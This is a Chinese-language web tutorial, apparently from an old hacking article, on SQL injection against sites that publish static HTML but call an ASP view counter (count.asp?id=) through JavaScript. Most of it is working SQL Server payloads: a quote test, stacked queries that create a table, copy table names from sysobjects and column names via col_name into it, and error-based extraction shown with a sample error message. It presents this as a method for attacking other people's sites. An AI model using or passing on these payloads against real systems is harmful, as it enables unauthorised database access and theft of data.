|
大家在是否碰到過(guò)這樣的站點(diǎn):
全站文章系統(tǒng)采用FSO靜態(tài)生成的HTML文件來(lái)顯示。這樣做的好處一來(lái)可以減輕服務(wù)器負(fù)擔(dān),提高訪問(wèn)速度。二來(lái)也阻止了SQL注入式的攻擊。。
我來(lái)說(shuō)說(shuō)他們的文章系統(tǒng)原理:全部文章均在數(shù)據(jù)庫(kù)存有一個(gè)副本。另處根據(jù)模板生成一個(gè)HTML頁(yè)面。
攻擊方法:
查看源文件/看里面是否有通過(guò)JS來(lái)調(diào)用的頁(yè)面。
如調(diào)用來(lái)更新文章的瀏覽次數(shù)。
我們就可以這樣來(lái)試一下可否注入:
http://服務(wù)器域名/count.asp?id=1552’
看一下是否出錯(cuò)。如出錯(cuò)說(shuō)明有注入漏洞。然后正常攻擊。
在本機(jī)建立一下post.htm的文件和log.txt的文本文件(用來(lái)記錄用,這是一個(gè)好習(xí)慣)
post.htm內(nèi)容:主要是方便輸入。
對(duì)于SQLSERVER的服務(wù)器可以這樣判斷:在1552后加一分號(hào),如正常有可能是SQLSERVER
對(duì)于這類(lèi)數(shù)據(jù)庫(kù)可以先建一個(gè)表id=1552;create table aaa(aaa char(20));--
然后插入一條記錄:id=1552;insert into aaa values(’test’);--
再之后枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
這是將第一個(gè)表名更新到aaa的字段處。
id=1552 and exists(select * from aaa where aaa>5)就會(huì)報(bào)錯(cuò),多數(shù)情況會(huì)將表名直接讀出:看:
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 ’80040e07’
將 varchar 值 ’vote’ 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個(gè)表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個(gè)表的一條記錄中去。通過(guò)網(wǎng)頁(yè)顯示。
讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(lái)(在條件后加上 and name<>’剛才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表,^^^^^^一個(gè)個(gè)的讀出,直到?jīng)]有為止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
……類(lèi)推
|
【收藏】【打印】【進(jìn)入論壇】 |
|
|
|
|
|
|
|